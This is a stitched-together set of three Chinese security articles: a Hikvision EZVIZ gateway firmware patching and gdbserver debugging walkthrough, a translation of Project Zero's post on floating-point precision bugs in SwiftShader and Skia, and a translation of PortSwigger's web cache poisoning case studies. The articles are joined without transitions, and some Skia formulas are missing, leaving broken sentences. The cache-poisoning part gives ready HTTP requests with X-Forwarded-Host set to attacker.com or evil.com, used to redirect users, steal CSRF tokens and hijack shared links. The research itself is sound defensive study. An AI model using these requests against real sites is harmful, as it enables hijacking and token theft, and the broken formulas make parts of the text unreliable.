本篇是关于海康萤石智能网关分析的第3篇，在上一篇中，我们完成了固件编辑和重打包工作。在我们自己修改的固件中，海康萤石的智能网关上电启动之后会运行telnetd，此后我们只要通过telnet远程连接网关即可使用shell，不需要再连接不稳定的串口了。
继续上一篇的内容，我们从本篇开始分析智能网关里面的关键应用，研究一下智能网关到底与服务器通信了什么内容。
## **程序逆向分析**
### 2.1 预处理
在海康萤石智能网关中执行ps指令，查看所有正在运行的程序，通过简单的排除法，就可以确定我们要分析主程序是：’/dav/davinci’（达芬奇？达文西？），如下图所示：
图2-1 固件中运行的所有进程
通过逆向分析davinci程序，我们可以发现该程序是有运行日志的，只是把不重要的日志屏蔽了(debug、verbose等)，只输出了较为严重的日志内容(fatal、error等)。那么我们修改几条指令，使其跳过对日志严重程度的判断，如下图：
图2-2 patch日志输出代码
除了输出日志的函数需要patch之外，还有另一个函数也需要做一些调整。davinci在启动之后，初始化了一个线程操作看门狗，该线程会不断向/dev/watchdog进行写操作。如果一段时间内/dev/watchdog没有收到任何数据，那么整个设备就会重启。由于我们计划调试davinci程序，如果在调试过程中，触发断点导致看门狗线程挂起，那么整个系统就会重启。为此，我们先把该线程patch掉，然后再弄一个写入/dev/watchdog的小脚本，用以专门喂狗防止重启。相关位置的代码截图如下：
图2-3 patch watchdog相关代码
喂狗的小脚本内容如下：
图2-4 喂狗小脚本
相信脚本内容一眼就能够看懂，所以我们不做太多的解释了。此外，还有个guard.sh也是用于检测davinci程序是否运行的，但它不影响我们的操作，所以就不讨论该脚本了，有兴趣的读者可以去看看。
完成上述操作之后，就可以把被patch的davinci上传至海康萤石的智能网关，此处我们不再采用烧录固件的方法，因为过于麻烦。通过翻阅该设备的文件系统，可以在设备中发现tftp程序，这是一个使用tftp协议传输文件的程序，可以用它从tftpd服务器上传或下载文件。我们使用从这个链接下载到的tftpd程序：<http://tftpd32.jounin.net/tftpd64_download.html>，运行后，调整tftpd服务器的文件目录和监听网卡，如下图：
图2-5 配置tftpd程序
上图中，被patch的davinci程序就在红框标识的目录中。然后在智能网关设备中使用tftp程序获取相关文件即可，相关命令截图如下：
图2-6 使用tftp下载文件
待相关文件下载到海康萤石的设备中之后，就可以运行FeedWatchdog.sh脚本开始喂狗，然后终止原本的davinci进程，接着删除/home/pidfile文件，该文件相当于互斥体，用于控制davinci仅运行了一次，最后启动我们自己的davinci_1进程，相关命令如下：
图2-7 启动patch之后的davinci进程
待程序运行一段时间之后，就可以查看程序的运行日志，然后通过日志分析程序的各种行为。
### 2.2 日志分析
待程序运行一段时间之后，就会在‘/applog/devlog’目录下生成日志文件，每个文件500KB左右，如下图所示：
图2-8 程序运行时生成的日志
用tftp程序将日志取回，然后打开程序日志，在日志中搜索litedev.ys7.com，这个地址是智能网关上电之后第一个访问的地址，我们在本专题第9篇，也就是分析海康萤石智能网关的第一篇中介绍过。搜索结果如下图：
图2-9 与litedev.ys7.com有关的日志
上图中，我们可以看到由litedev.ys7.com解析而来的ip地址：115.231.107.14([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=115.231.107.14))，这与我们用wireshark抓包时得到的结果是相同的。
继续翻看日志，在距离图2-8不远的地方，可以看到另一条日志，看起来像是与海康萤石MQTT服务器相关的日志内容，截图如下：
图2-10 与MQTT服务器有关的日志
从图中，我们可以看到另一个ip地址：101.71.30.172([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=101.71.30.172))，该地址同样与我们wireshark抓包的结果吻合。MQTT通信协议是构建于TCP/IP协议之上的一种轻量级通信协议，经常出现在IoT设备系统中设备端与云端的通信过程中。
结合这两条日志内容和wireshark的抓包结果，我们可以进一步确认设备的工作流程：与litedev.ys7.com通信，获取了MQTT服务器的地址；然后与MQTT服务器通信，实现设备的逻辑功能。
在图2-9和图2-10中，我们分别用红框标识了一个关键字符串。在海康萤石智能网关的文件系统中，二进制搜索其中一个字符串“lbs_connect”，确认该字符串出现在libmicrokernel.so.1中。用IDA加载该so文件，可以发现此动态链接库中，有一个函数名字即为lbs_connect，查找该函数的交叉引用，可以看到有多处代码调用了此函数，我们随便找一处点开看下，如下图所示：
图2-11 调用lbs_connect函数
可以看到在lbs_connect函数返回成功之后，就会调用send_authentication_i函数。这个函数看起来就是加密和认证相关的函数。
## **程序调试**
找到了关键点之后，就需要进一步分析这些函数的功能和作用了。在本专题之前的文章中，我们都是纯静态分析，所以在本篇中，我们就不再单纯地进行静态分析，而是想办法调试一下这个程序。
对于嵌入式Linux操作系统，我们通常选用gdb和gdbserver作为调试工具。gdb是一个应用非常广泛的调试器，在以后的文章中也会反复出现，其全称是GNU
Project
Debugger，其官网是<https://www.gnu.org/software/gdb/.>；gdbserver是gdb的一部分，常用于解决交叉编译环境下的远程调试问题。我们可以直接在设备上使用gdb进行本地调试，但gdb程序体积比较大，而且直接在设备上运行gdb会有很多不方便的地方，所以我们选择通过gdbserver进行远程调试。为了完成调试工作，我们首先需要一个可以运行在海康萤石智能网关设备上的gdbserver程序。
在此前关于海康萤石智能网关分析的第二篇文章中，我们下载了MT7688
SDK相关的资料。在进一步翻阅相关的资料之后，我们发现官方MT7688开发板是内置了gdbserver程序。因此，我们下载了官方提供的固件包，并用binwalk提取了固件内容，最后找到了gdbserver程序。但此gdbserver程序运行之后没有任何输出，推测是官方定制了gdbserver的代码，导致我们无法使用该程序调试，截图如下：
图3-1 官方gdbserver无法使用
所以，就只能去找一找有没有其他可以正常运行在海康萤石智能网关中的gdbserver程序了，毕竟自己编译一个有点太麻烦了。幸运的是，在rapid7官方github账户上有一些已经编译好的gdbserver程序，链接如下：<https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver>， 我们选择下载mipsle版本的gdbserver。截图如下：
图3-2 rapid7官方github页面中的embedded-tools仓库
下载完毕之后，通过tftp下载至海康萤石智能网关的设备中，并尝试执行此程序。截图如下：
图3-3 执行gdbserver.mipsle程序
程序没有报错，看来是可以顺利执行的。接下来就用此程序开始调试吧。
首先，使用 gdbserver启动davinci。如果直接用
gdbserver附加davinci进程，很可能会错过davinci程序与服务器通信的认证过程。所以我们直接使用gdbserver启动程序，这样一来，在远程调试器连接之前，davinci程序将处于挂起状态。命令如下：
图3-4 通过gdbserver启动程序
此时，gdbserver就开始监听23946端口，等待远程调试器的连接。
接下来，我们可以选择gdb或IDA作为远程调试器连接gdbserver。IDA提供图形界面，可以帮助我们理解程序的逻辑；但gdb要更稳定，可以有效避免IDA调试时出现的奇怪错误。我们这里直接选择gdb作为远程调试器，在后续的文章中会有介绍用IDA作为调试器的例子。
由于我们需要调试的是MIPS指令集的程序，而gdb默认情况下，仅支持调试与当前环境采用相同指令集的程序（i386），所以我们需要安装可以调试MIPS指令集的gdb程序。安装方法比较简单，直接输入sudo
apt install gdb-multiarch即可。还可以给gdb程序加一个pwndbg插件，用于辅助我们的调试工作，该插件的官方地址是：<https://github.com/pwndbg/pwndbg>，只需要下载下来，然后运行./setup.sh即可。此插件并非必需品，但是推荐装上。
完成gdb的配置工作之后，就可以使用gdb连接gdbserver开始远程调试了。gdb的调试命令非常多，可以直接搜索到很多整理好的常用命令，在这里，我们就遇见什么指令就解释什么指令吧。运行gdb-multiarch，截图如下：
图3-5 运行gdb-multiarch程序
上图中，我们分别设置architecture为MIPS，读取davinci的符号文件，在main函数设置断点，并连接远程的gdbserver，关键位置已用绿框圈出。然后，我们用快捷键c（continue），让程序开始执行，截图如下：
图3-6 程序运行到main时中断
上图中，红框部分表示触发了main函数中的断点。此时，我们加载libmicrokernel.so.1的符号文件，同样用file命令，就不截图了。然后，我们在lbs_connect函数下个断点，并继续执行程序，如下图：
图3-7 在lbs_connect函数下断点
稍等片刻，就会看到程序断在lbs_connect函数中，等待我们的调试命令，截图如下：
图3-8 程序命中lbs_connect断点
从图中可以看到，程序是从lbs_redirect调用过来的，可以在外层函数下断点，继续调试，帮助我们理解程序的逻辑，但是本篇内容先到此为止。
## **小结**
从本篇起，我们开始分析海康萤石智能网关的固件程序。在我们的分析过程中，程序的日志给我们提供了很多帮助。借助日志的输出内容，我们很快定位到了通信加密相关的代码。接着为了进一步研究设备是如何认证和加密的，我们尝试使用gdb和gdbserver调试固件中的程序。关于进一步的分析内容将在下一篇分析中展开讨论。
* * * | 社区文章 |
原文：<https://googleprojectzero.blogspot.com/2018/07/drawing-outside-box-precision-issues-in.html>
在这篇文章中，我们将为读者介绍一种非常罕见的漏洞类型，通常情况下，这种类型的漏洞只会影响图形渲染库（当然，有时候它们也会出现在其他类型的软件中）。之所以会出现这种问题，究其根本原因，是因为精度误差能够令应用程序所做的安全性假设失效，致使其转而使用有限精度算法。
这种类型的漏洞与整数溢出非常相似，主要区别在于：对于整数溢出来说，是出现在这样的算术运算过程中——由于运算的结果太大而无法以给定的精度来准确表示。对于本文描述的安全漏洞来说，则出现在这样的算术运算过程中——因运算结果或结果的一部分太小而无法以给定的精度准确表示。
在运算结果对安全非常敏感的运算中，这类问题通常是由浮点运算所致，但是，正如我们稍后将演示的那样，在某些情况下，这类安全问题也可能出现在整数运算中。
下面，先让我们来看一个简单的例子：
float a = 100000000;
float b = 1;
float c = a + b;
对于上述计算，如果采用任意精度的话，结果应该是100000001。但是，由于[浮点数](https://en.wikipedia.org/wiki/IEEE_754
"浮点数")通常只允许使用24位精度，因此，结果实际上将是100000000。所以，如果应用程序假设a>0并且b>0的话（通常都会这样合理地假设），则意味着a+b>a，那么，这种假设就很可能导致问题。
在上面的例子中，a和b之间的差异非常大，并且b在计算结果中完全消失；然而，即使差异较小，也会发生精度误差，例如
float a = 1000;
float b = 1.1111111;
float c = a + b;
上述计算的结果将是1001.111084，而非1001.1111111，而后者才是准确的结果。在这种情况下，虽然b的只有很小一部分丢失，但即使如此，有时也会带来有趣的后果。
在上面的示例中，使用的是浮点类型，如果使用双浮点类型的话，虽然能够获得更精确的计算结果，但是，类似的精度错误仍然无法消除。
在本文的其余部分中，我们将展示几个有安全影响的精度问题例子。这些安全问题由两位Project Zero成员独立发现的：一位是Mark
Brand，他研究的对象是SwiftShader，它是OpenGL的软件实现，用于Chrome浏览器；另一位是Ivan
Fratric，他考察的对象是Chrome和Firefox中使用的Skia图形库。
**SwiftShader**
* * *
SwiftShader是“OpenGL ES和Direct3D
9图形API基于CPU的高性能实现”。所有平台上的[Chrome](https://blog.chromium.org/2016/06/universal-rendering-with-swiftshader.html
"Chrome")浏览器都将其作为备选渲染库，用于突破图形硬件或驱动程序的限制，使其可以在更广泛的设备上应用WebGL和其他高级JavaScript渲染API。
SwiftShader中的代码需要对通常由GPU执行的各种操作进行模拟。例如，通常由GPU执行的一种操作是upscaling，即将一段小的源纹理绘制到更大的区域，例如铺满屏幕。这需要使用非整数值计算内存索引，实际上，[漏洞](https://bugs.chromium.org/p/project-zero/issues/detail?id=1584 "漏洞")往往就出现在这里。
就像最初的漏洞报告中所指出的那样，我们在这里看到的代码，未必就是实际运行的代码--SwiftShader会使用基于LLVM的JIT引擎在运行时对关键代码进行性能优化，而优化后的代码，要比优化前的代码更难以理解，但是两者都包含相同的错误，因此，我们不妨先从简单的代码入手，即先考察未经优化的代码。实际上，这些代码就是用于在渲染过程中将像素从一个表面复制到另一个表面的复制循环：
source->lockInternal((int)sRect.x0, (int)sRect.y0, sRect.slice, sw::LOCK_READONLY, sw::PUBLIC);
dest->lockInternal(dRect.x0, dRect.y0, dRect.slice, sw::LOCK_WRITEONLY, sw::PUBLIC);
float w = sRect.width() / dRect.width();
float h = sRect.height() / dRect.height();
const float xStart = sRect.x0 + 0.5f * w;
float y = sRect.y0 + 0.5f * h;
float x = xStart;
for(int j = dRect.y0; j < dRect.y1; j++)
{
x = xStart;
for(int i = dRect.x0; i < dRect.x1; i++)
{
// FIXME: Support RGBA mask
dest->copyInternal(source, i, j, x, y, options.filter);
x += w;
}
y += h;
}
source->unlockInternal();
dest->unlockInternal();
}
那么，这段代码有什么问题吗？我们知道，在进入这个函数之前就已经完成了所有的边界检查，并且在dRect中使用 (i, j)和sRect中使用(x,
y)调用copyInternal也都是安全的。
实际上，在上面的示例中，出现的精度误差是下舍入导致的——就本例而言，还不足以产生让我们感兴趣的安全漏洞。我们能否利用浮点数的精度误差，获得一个比正确值更大的值，从而导致（x，y）的值大于预期值呢？
如果我们仔细阅读代码，就会发现，开发人员的本意为：
for(int j = dRect.y0; j < dRect.y1; j++)
{
for(int i = dRect.x0; i < dRect.x1; i++)
{
x = xStart + (i * w);
Y = yStart + (j * h);
dest->copyInternal(source, i, j, x, y, options.filter);
}
}
即使使用这种方式，仍然会存在精度误差——但是，由于没有进行迭代计算，误差无法传播，这样的话，最终的预期精度误差的大小就是稳定的，并且与操作数大小成正比。相反，如果代码执行迭代计算的话，误差就会迅速传播，像滚雪球一样，越滚越大。
对于浮点计算来说，有多种方法都可以估算其最大误差；如果你真的、真的需要避免进行额外的边界检查的话，那么可以使用这种方法，但是一定确保这种方法的最大误差具有足够的安全边际量。说实话，对于这个问题来说，这可能是一种太过复杂且容易出错的解决方案。在这里，我们想要做的，是寻找一些用来展示这种类型的漏洞的“带病”数值，因此，这种方式显然不太合适；所以，接下来，我们会采取一种简单粗暴的方法。
我们觉得，使用乘法的实现的话，得到的结果将是大致准确的，而带有迭代加法的实现得到的结果则不那么准确。鉴于可能的输入空间很小（Chrome不允许使用宽度或高度大于8192的纹理），因此，不妨对源宽度与目标宽度的所有比率进行蛮力搜索，从而对这两种算法做个比对，看看结果有什么不同。（请注意，SwiftShader也限制我们使用偶数）。这样，我们得到的结果为5828,8132；下面是对这两种方法的比较（左侧使用的是迭代加法，右侧使用的是乘法）：
0: 1.075012 1.075012
1: 1.791687 1.791687
...
1000: 717.749878 717.749878 到目前为止，这两个值仍然完全相等(就所示的精度来说)
1001: 718.466553 718.466553
...
2046: 1467.391724 1467.391724 从这里开始，第一个有效位误差开始出现，但请注意
2047: 1468.108398 1468.108521“不精确”的结果小于更精确的结果。
...
2856: 2047.898315 2047.898438
2857: 2048.614990 2048.614990 在这里，两个计算结果再次一致，简单地说，
2858: 2049.331787 2049.331787 从这里开始，精度误差总是倾向于产生
2859: 2050.048584 2050.048340 更大的结果而不是更精确的计算。
...
8129: 5827.567871 5826.924805
8130: 5828.284668 5827.641602
8131: 5829.001465 5828.358398 对于最后一个索引来说，现在的差值已经非常大了，因此进行 int转换后，会产生一个oob索引。
(还要注意，这种“安全”计算也会有误差；只是误差没有被传播，换句话说，该误差与输入误差的大小成正比，因此，我们期望输入误差“越小越好”。)
我们确实可以看到，乘法算法的结果不会超过边界；但是，迭代算法则可能返回输入纹理边界之外的索引！
因此，我们在纹理分配结束后读取了整整一行像素——这很容易通过WebGL泄露给JavaScript代码。请大家继续关注即将发布的博客文章，届时，我们将使用这个漏洞以及SwiftShader中的另一个安全漏洞，通过JavaScript代码来控制GPU进程。
**Skia**
* * *
Skia是一个图形库，适用于Chrome、Firefox浏览器和Android平台等各种环境。在Web浏览器中，当使用[CanvasRenderingContext2D](https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D
"CanvasRenderingContext2D")绘制canvas元素或绘制SVG图像时，就会用到该图形库。虽然在绘制其他HTML元素时也可以使用Skia，但是从安全角度来看，我们对canvas元素和SVG图像更感兴趣，因为它们能够更加直接地控制图形库绘制的对象。
Skia能够绘制的最复杂的对象（换句话说，从安全角度来看，我们最感兴趣的东西）是[路径](https://skia.org/user/api/SkPath_Reference
"路径")。路径是由诸如线之类的元素组成的对象，同时，也可以包括更复杂的曲线，特别是二次或三次[样条](https://en.wikipedia.org/wiki/Spline_\(mathematics)
"样条")。
由于在Skia中采用的是软件绘图算法，因此，其中很可能存在精度问题，并且，一旦出现这种安全漏洞，通常会导致越界写入问题。
要理解为什么会出现这些问题，先让我们假设在内存中有一个图像（可以将其视为一个缓冲区，大小=宽度x高度x色彩值长度）。通常，在绘制坐标为（x，y）且颜色值为c的像素时，需要确保该像素位于相应图像的空间内，特别是x和y需要满足下列条件：0
<= x < width 且 0 <= y <
height。如果不进行上述检查的话，就能够将像素写到为图像分配的缓冲区的边界之外。在计算机图形学中，确保将绘图限制在某个区域称为剪辑。
那么，问题出在哪里呢？我们知道，对每个像素进行剪辑检查是会耗费大量的CPU周期的，但是别忘了，Skia一直都是视速度为生命的。实际上，Skia并不会对每个像素都进行剪辑检查，而是首先对整个对象（例如，线条、路径或正在绘制的任何其他类型的对象）进行剪辑检查。根据剪辑检查情况，会有三种可能的结果：
* 对象完全位于绘图区域之外：绘图函数不会绘制任何内容，并立即返回。
* 对象部分位于绘图区域之内：绘图函数进行绘制，同时进行逐像素剪辑检查(通常依赖于[SkRectClipBlitter](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkBlitter.h?l=187&rcl=c640d0dc96924699fdbb1a3cbdc907aa07b1cb3c "SkRectClipBlitter"))。
* 整个对象都位于绘图区域之内：绘图函数直接将对象绘制到缓冲区中，并且不进行逐像素剪辑检查。
存在问题的是最后一种情况，因为它仅对每个对象进行剪辑检查，并且更为精确的逐像素检查被禁用了。这就意味着，如果在逐对象剪辑检查和像素绘制之间存在精度问题，并且如果精度问题导致像素坐标超出绘图区域的话，则可能引发安全漏洞。
我们可以看到，针对每个对象进行的剪辑检查有时候会弃用逐像素检查，比如：
* 在[hair_path](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Hairline.cpp?g=0&rcl=d92a739d72ae70fc8122dc077b0f751d4b1dd023&l=497 "hair_path")（仅绘制路径而不进行填充的函数）中，[剪辑](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Hairline.cpp?g=0&rcl=d92a739d72ae70fc8122dc077b0f751d4b1dd023&l=504 "剪辑")最初设置为null（这将禁用剪辑检查）。仅当路径的边界[不适合绘图区域](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Hairline.cpp?g=0&rcl=d92a739d72ae70fc8122dc077b0f751d4b1dd023&l=515 "不适合绘图区域")时（路径边界根据绘图选项向上舍入并[扩展1或2](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Hairline.cpp?g=0&rcl=d92a739d72ae70fc8122dc077b0f751d4b1dd023&l=511 "扩展1或2")），才会设置剪辑。将路径边界扩展1似乎是一个相当大的安全余量，但实际上，这个值是最不可能的一个安全值，因为使用抗锯齿特性绘制对象时，会出现绘制到附近的像素上面的情况。
* 在[SkScan::FillPath](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Path.cpp?g=0&rcl=50dbc0949fb256a316163143e649028eeed2970a&l=617 "SkScan::FillPath")（用于在关闭抗锯齿特性的情况下填充路径的函数）中，路径的边界首先由[kConservativeRoundBias](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Path.cpp?g=0&l=575&rcl=50dbc0949fb256a316163143e649028eeed2970a "kConservativeRoundBias")进行扩展，并通过[四舍五入](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Path.cpp?g=0&l=645&rcl=50dbc0949fb256a316163143e649028eeed2970a "四舍五入")获得“保守”路径边界。然后，为当前路径创建[SkScanClipper](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Path.cpp?g=0&rcl=50dbc0949fb256a316163143e649028eeed2970a&l=653 "SkScanClipper")对象。正如我们在SkScanClipper的[定义](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Path.cpp?g=0&l=534&rcl=50dbc0949fb256a316163143e649028eeed2970a "定义")中所看到的，如果路径边界的x坐标在绘图区域之外，或者如果irPreClipped为真（仅当路径坐标非常大时才会出现这种情况），它将仅使用SkRectClipBlitter。
在其他绘图函数中，也可以看到类似的模式。
在我们深入研究这些问题之前，首先快速回顾一下Skia使用的各种数字格式是非常有帮助的：
* [SkScalar](https://cs.chromium.org/chromium/src/third_party/skia/include/core/SkScalar.h?l=16&rcl=9236b02264d4b15208be3b8b8919f4ed441a3c85 "SkScalar")是一个32位浮点数
* [SkFDot6](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkFDot6.h?l=16&rcl=c640d0dc96924699fdbb1a3cbdc907aa07b1cb3c "SkFDot6")虽然定义为整数，但它实际上是一个定点数，小数点左边26位，小数点右边6位。例如，SkFDot6值0x00000001表示数字1/64。
* [SkFixed](https://cs.chromium.org/chromium/src/third_party/skia/include/private/SkFixed.h?l=23&rcl=c640d0dc96924699fdbb1a3cbdc907aa07b1cb3c "SkFixed")也是一个定点数，小数点左边16位，小数点右边16位。例如，SkFixed值0x00000001表示1/2**16）
**整数转换为浮点数时出现的精度误差**
* * *
对于这个问题，最初是去年我们对Firefox进行[DOM模糊测试](https://googleprojectzero.blogspot.com/2017/09/the-great-dom-fuzz-off-of-2017.html
"DOM模糊测试")时发现的。当时，Skia的写出越界[问题](https://bugs.chromium.org/p/project-zero/issues/detail?id=1155
"问题")引起了我们的注意，因此，我们又做了进一步的调查。实证明，根本原因是Skia在某些地方将浮点转换为整数的方式存在误差所致。在进行逐路径剪辑检查时，使用该函数时会对取值较低的坐标（边界框的左侧和顶部的坐标）进行舍入处理：
static inline int round_down_to_int(SkScalar x) {
double xx = x;
xx -= 0.5;
return (int)ceil(xx);
}
通过阅读代码，我们不难发现，对于大于-0.5的数字，它将返回一个大于或等于零的数字（这是通过路径级剪辑检查所必需的）。但是，在代码的另一部分中，特别是SkEdge::setLine中，如果定义了SK_RASTERIZE_EVEN_ROUNDING（在Firefox中就是这种情况），则使用以下函数将浮点数取整为不同的整数：
inline SkFDot6 SkScalarRoundToFDot6(SkScalar x, int shift = 0)
{
union {
double fDouble;
int32_t fBits[2];
} tmp;
int fractionalBits = 6 + shift;
double magic = (1LL << (52 - (fractionalBits))) * 1.5;
tmp.fDouble = SkScalarToDouble(x) + magic;
#ifdef SK_CPU_BENDIAN
return tmp.fBits[1];
#else
return tmp.fBits[0];
#endif
}
现在，让我们来看看对于数字-0.499，这两个函数的返回值分别是什么。对于这个数字来说，round_down_to_int函数将会返回0（该值总能通过剪辑检查），而SkScalarRoundToFDot6函数则会返回-32，它对应于-0.5，所以，我们最终得到的数字实际上比我们开始时的数字要小。
然而，这并不是唯一的问题，因为在SkEdge :: setLine中还有另外一个产生精度误差的地方。
**分数相乘时出现的精度误差**
* * *
SkEdge :: setLine会调用SkFixedMul，其定义为：
static inline SkFixed(SkFixed a, SkFixed b) {
return (SkFixed)((int64_t)a * b >> 16);
}
该函数用于对两个SkFixed数进行相乘，然而，使用该函数对负数进行相乘时会出现问题。下面，我们来举例说明，首先假设
且
，如果我们求这两个数的积的话，结果为
。但是，由于SkFixedMul的工作方式，特别是由于使用右移操作将计算结果转换回SkFixed格式，我们最终得到的结果却是0xFFFFFFFF，这是
的SkFixed表示形式。因此，我们最终得到的实际结果要远远大于预期值。
由于SkEdge::setLine使用这个乘法运算的结果来调整这里的初始线点的x坐标，因此，我们可以利用SkFixedMul的这个问题来产生额外的误差，最多为位像素的1/64，从而越过绘图区域的边界。
通过组合利用前两个问题，可以使一条线的x坐标变得足够小（小于-0.5），这样，当一个用小数表示的值通过舍入操作变为整数时，Skia将试图在x=-1的坐标处进行绘制，但是这些位置显然位于图像的范围之外。这样，就会出现如[原始漏洞报告](https://bugs.chromium.org/p/project-zero/issues/detail?id=1155
"原始漏洞报告")中所说的越界写漏洞。在Firefox浏览器中，我们可以成功利用该漏洞，为此，只需绘制一幅其坐标具有上述问题的SVG图像即可。
**结束语**
* * *
在本文中，我们为读者介绍了由于图形渲染库精度问题而引发的安全漏洞。其中，我们讲解了SwiftShader图形库和Skia图像库中的精度误差问题，同时，还解释了整数转换为浮点数，以及分数相乘时出现的误差问题。在本文的下篇中，我们将为读者进一步深入讲解其他方面的精度误差问题，以及它们所带来的安全隐患。 | 社区文章 |
# 实战Web缓存投毒（下）
|
##### 译文声明
本文是翻译文章，文章来源：portswigger.net
原文地址：<https://portswigger.net/blog/practical-web-cache-poisoning>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
承接上文，将翻译原作者剩下的部分，包括更加深入的投毒案例、防御的方法和结论
## 实例研究（Case Studies）
### 隐蔽的路由投毒（Hidden Route Poisoning）
路由投毒漏洞并不总是清晰明了的：
GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: canary
HTTP/1.1 302 Found
Location: https://ghost.org/fail/
Cloudflare的博客托管于Ghost，Ghost使用X-Forwarded-Host请求头来实现某些功能。你可以通过指定另一个可识别的主机名（例如blog.binary.com）来避免“失败”重定向，但在正常的blog.cloudflare.com响应之前，会有神秘的10秒延迟。乍一看，没有明显的方法来利用这一漏洞。
当用户首次使用Ghost注册博客时，它会在ghost.io域名下注册唯一的子域。一旦博客启动并运行，用户就可以定义像blog.cloudflare.com这样的任意自定义域名。如果用户定义了自定义域，则ghost.io子域将简单的重定向到自定义域名：
GET / HTTP/1.1
Host: noshandnibble.ghost.io
HTTP/1.1 302 Found
Location: http://noshandnibble.blog/
至关重要的是，也可以使用X-Forwarded-Host请求触发此重定向：
GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: noshandnibble.ghost.io
HTTP/1.1 302 Found
Location: http://noshandnibble.blog/
通过注册我自己的ghost.org帐户并设置自定义域名，我可以将发送到blog.cloudflare.com的请求重定向到我自己的网站：waf.party。这意味着我可以劫持像图像一类的资源负载：
接下来的步骤，重定向javascript加载来获得对blog.cloudflare.com的完全控制的过程被一个巧合所阻挠-如果你仔细观察这个重定向，你会发现它使用HTTP而博客是通过HTTPS加载的，这意味着浏览器的混合内容（Mixed
Content）保护机制会被触发并阻止脚本/样式表的重定向。
我找不到任何技术方法让Ghost发出HTTPS重定向，并且打算无所顾忌的向Ghost报告他们使用HTTP而不是HTTPS跳转的漏洞，既希望于他们可以为我加上HTTPS的跳转。最终，我决定将问题复制一份并将其在[hackxor](https://hackxor.net/mission?id=7)上以现金奖励众包的模式来寻找解决方案。第一份解决方案是Sajjad
Hashemian发现的，他发现在Safari中如果waf.party在浏览器的HSTS
cache中，重定向将自动升级到HTTPS而不是被阻断，[基于Manuel
Caballero的工作](https://www.brokenbrowser.com/loading-insecure-content-in-secure-pages/),[Sam Thomas](https://twitter.com/_s_n_t)跟进了Edge的解决方案 –
指出302重定向到HTTPS URL可以完全绕过了Edge的混合内容保护机制。
总而言之，对于Safari和Edge用户，我可以投毒危害blog.cloudflare.com，blog.binary.com和其他所有ghost.org用户上的每个页面。对于Chrome
/
Firefox用户，我只能劫持图像。尽管我使用如上Cloudflare的截图作为漏洞证明，因为这是第三方系统中的一个问题，我选择通过Binary报告它，因为他们的bug赏金计划支付现金，不像Cloudflare的赏金计划。
### 串联非缓存键输入（Chaining Unkeyed Inputs）
有得时候，单一的非缓存键输入只能够混淆应用程序调用堆栈的一部分，并且您需要串联其他非缓存键的输入以达到可利用的结果。参考下面的网站：
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: xyz
HTTP/1.1 200 OK
Set-Cookie: locale=en; domain=xyz
X-Forwarded-Host请求头重写了cookie上domain的值，但在响应的其余部分中没有生成任何URL。只是这样一种情况就是难以利用的了。但是，还有另一个非缓存键输入：
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Scheme: nothttps
HTTP/1.1 301 Moved Permanently
Location: https://redacted.net/en
这样的输入也是无用的，但如果我们将两者结合在一起，我们可以将响应转换为重定向到任意域：
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: nothttps
HTTP/1.1 301 Moved Permanently
Location: https://attacker.com/en
使用此技术，可以通过重定向POST请求从自定义HTTP请求头中窃取CSRF令牌。我还可以包含对JSON加载的恶意响应来获得存储型的DOM–XSS漏洞，类似于前面提到的data.gov的漏洞。
### Open Graph 劫持（Open Graph Hijacking）
在另一个站点上，非缓存键的输入仅仅影响Open Graph URL：
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
HTTP/1.1 200 OK
Cache-Control: max-age=0, private, must-revalidate
…
<meta property="og:url" content='https://attacker.com/en'/>
[Open
Graph](http://ogp.me/)是一种由Facebook创建的协议，允许网站所有者决定他们的内容在社交媒体上被共享时会发生什么。我们在这里被劫持的og：url参数有效地覆盖了共享的URL，因此任何共享被投毒页面的人实际上最终都会共享我们选择共享的内容。
正如你所见，应用程序设置了’Cache-Control：private’，所以Cloudflare会拒绝缓存此类响应。幸运的是，网站上的其他页面明确的启用了缓存：
GET /popularPage HTTP/1.1
Host: redacted.net
X-Forwarded-Host: evil.com
HTTP/1.1 200 OK
Cache-Control: public, max-age=14400
Set-Cookie: session_id=942…
CF-Cache-Status: MISS
这里的’CF-Cache-Status’请求头是Cloudflare正在考虑缓存此响应的指示器，但尽管如此，响应从未实际缓存过。我推测Cloudflare拒绝缓存这个可能与session_id
cookie有关，并且使用该cookie重试：
GET /popularPage HTTP/1.1
Host: redacted.net
Cookie: session_id=942…;
X-Forwarded-Host: attacker.com
HTTP/1.1 200 OK
Cache-Control: public, max-age=14400
CF-Cache-Status: HIT
…
<meta property="og:url"
content='https://attacker.com/…
这最终达到了缓存响应的目的，虽然后来证明我可以通过阅读[Cloudflare的缓存文档](https://blog.cloudflare.com/understanding-our-cache-and-the-web-cache-deception-attack/)而不是猜测的方法来实现这个目的。
尽管有响应被缓存，但“分享”结果仍然没有投毒成功;
Facebook显然没有访问到我向投毒的特定的Cloudflare缓存。为了确定我需要向哪个缓存投毒，我利用了所有Cloudflare站点上都有的一个有用的调试功能
– /cdn-cgi/trace：
看这里，colo =
AMS的一行显示Facebook已经通过在阿姆斯特丹的缓存访问了waf.party。目标网站是通过亚特兰大访问的，所以我在那里租了2美元/月的VPS并再次尝试投毒：
在这些之后，任何试图在其网站上共享各种页面的人最终都会分享我选择的内容。这是一个经过严格修改的攻击视频：
<https://portswigger.net/cms/videos/49/7c/9ace115de5b2-opengraph.mp4>
